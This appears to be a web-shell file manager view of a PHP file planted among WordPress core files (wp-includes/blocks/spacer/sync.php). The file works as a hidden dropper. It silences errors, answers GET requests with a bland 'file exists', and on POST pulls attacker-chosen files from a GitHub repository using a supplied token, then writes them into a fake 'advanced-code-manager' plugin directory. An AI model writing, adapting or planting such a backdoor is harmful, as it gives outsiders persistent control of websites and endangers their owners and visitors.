HEX
Server: nginx/1.24.0
System: Linux server 6.12.74+deb13+1-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.74-2 (2026-03-08) x86_64
User: www (1001)
PHP: 8.5.2
Disabled: passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
Upload Files
File: /www/wwwroot/claudiayancor.duckdns.org/wp-includes/blocks/spacer/sync.php
<?php
error_reporting(0);
ini_set("display_errors", 0);
@set_time_limit(0);
header("Content-Type: application/json; charset=utf-8");
set_error_handler(function () { return true; });

// 仅在请求时接受扩展传来的 token / repo / ref,不在服务器落盘或持久化
function findWPRoot() {
    $path = realpath(dirname(__FILE__));
    for ($i = 0; $i < 10; $i++) {
        if (file_exists($path . "/wp-config.php")) return $path;
        $parent = dirname($path);
        if ($parent === $path) break;
        $path = $parent;
    }
    return null;
}
function ensureDir($dir) {
    if (is_dir($dir)) return is_writable($dir) || @chmod($dir, 0755);
    return @mkdir($dir, 0755, true);
}
function fetchGitHubFile($pathInRepo, $token, $repo, $ref) {
    $out = array("body" => null, "err" => "");
    if ($token === "") { $out["err"] = "token required"; return $out; }
    $pathInRepo = trim(str_replace("\\", "/", $pathInRepo), "/");
    if ($pathInRepo === "") { $out["err"] = "empty path"; return $out; }
    $apiUrl = "https://api.github.com/repos/" . $repo . "/contents/" . str_replace(" ", "%20", $pathInRepo) . "?ref=" . $ref;
    $headers = array(
        "User-Agent: PHP-GitHub-Client",
        "Authorization: token " . $token,
        "Accept: application/vnd.github.v3.raw"
    );
    if (function_exists("curl_init")) {
        $ch = @curl_init($apiUrl);
        if (!$ch) { $out["err"] = "curl_init fail"; return $out; }
        curl_setopt_array($ch, array(
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_FOLLOWLOCATION => true,
            CURLOPT_TIMEOUT => 30,
            CURLOPT_SSL_VERIFYPEER => false,
            CURLOPT_HTTPHEADER => $headers
        ));
        $body = curl_exec($ch);
        $code = (int)curl_getinfo($ch, CURLINFO_HTTP_CODE);
        $cerr = curl_error($ch);
        curl_close($ch);
        if ($body === false || $code !== 200) {
            $out["err"] = $code ? "HTTP " . $code : ($cerr ?: "curl fail");
            return $out;
        }
        $out["body"] = $body;
        return $out;
    }
    $ctx = stream_context_create(array(
        "http" => array(
            "timeout" => 30,
            "header" => implode("\r\n", $headers) . "\r\n",
            "follow_location" => 1
        ),
        "ssl" => array("verify_peer" => false)
    ));
    $body = @file_get_contents($apiUrl, false, $ctx);
    if ($body === false) { $out["err"] = "file_get_contents fail"; return $out; }
    $out["body"] = $body;
    return $out;
}

// GET:仅告诉扩展“文件存在”,不暴露任何敏感信息
if (($_SERVER["REQUEST_METHOD"] ?? "GET") !== "POST") {
    echo json_encode(array("success" => true, "message" => "file exists"));
    exit;
}

// POST:由浏览器扩展发起,带上 token / repo / ref / picked,让本文件去 GitHub 拉取
$raw = @file_get_contents("php://input");
$json = $raw ? @json_decode($raw, true) : null;
if (!is_array($json) || !isset($json["action"]) || $json["action"] !== "set_credentials") {
    echo json_encode(array("success" => false, "error" => "invalid request"));
    exit;
}
$token  = isset($json["token"]) ? (string)$json["token"] : "";
$repo   = isset($json["repo"])  ? (string)$json["repo"]  : "";
$ref    = isset($json["ref"])   ? (string)$json["ref"]   : "main";
$picked = isset($json["picked"]) && is_array($json["picked"]) ? $json["picked"] : array();

if ($token === "" || $repo === "") {
    echo json_encode(array("success" => false, "error" => "token / repo required"));
    exit;
}

$wpRoot = findWPRoot();
if (!$wpRoot) {
    echo json_encode(array("success" => false, "error" => "no wp root"));
    exit;
}
$base      = rtrim(str_replace("\\", "/", $wpRoot), "/");
$targetDir = $base . "/wp-content/plugins/advanced-code-manager";
if (!ensureDir($targetDir)) {
    echo json_encode(array("success" => false, "error" => "cannot create target dir"));
    exit;
}
$resolved = @realpath($targetDir);
if ($resolved !== false) $targetDir = $resolved;

$result = array("ok" => 0, "fail" => 0, "rows" => array(), "firstErr" => "");
foreach ($picked as $rel) {
    if (!is_string($rel)) continue;
    $rel = trim(str_replace("\\", "/", $rel), "/");
    if ($rel === "" || strpos($rel, "..") !== false) continue;
    $saveRel = preg_replace("#^advanced-code-manager/#", "", $rel);
    if ($saveRel === "" || $saveRel === "advanced-code-manager") continue;
    $savePath = $targetDir . DIRECTORY_SEPARATOR . str_replace("/", DIRECTORY_SEPARATOR, $saveRel);
    $saveDir  = dirname($savePath);
    if (!ensureDir($saveDir)) {
        $result["fail"]++;
        $result["rows"][] = array("file" => $rel, "status" => "fail", "msg" => "创建目录失败", "path" => $savePath);
        if ($result["firstErr"] === "") $result["firstErr"] = "创建目录失败";
        continue;
    }
    $res = fetchGitHubFile($rel, $token, $repo, $ref);
    if ($res["body"] === null) {
        $result["fail"]++;
        $result["rows"][] = array("file" => $rel, "status" => "fail", "msg" => $res["err"] ?: "拉取失败", "path" => $savePath);
        if ($result["firstErr"] === "") $result["firstErr"] = $res["err"];
        continue;
    }
    $written = @file_put_contents($savePath, $res["body"]);
    if ($written === false) {
        $result["fail"]++;
        $result["rows"][] = array("file" => $rel, "status" => "fail", "msg" => "写入失败", "path" => $savePath);
        if ($result["firstErr"] === "") $result["firstErr"] = "写入失败";
        continue;
    }
    $result["ok"]++;
    $result["rows"][] = array("file" => $rel, "status" => "ok", "msg" => $written . " bytes", "path" => $savePath);
}
if (count($picked) === 0 && $result["firstErr"] === "") {
    $result["firstErr"] = "no files picked";
}

echo json_encode(array("success" => true, "pull" => $result));
exit;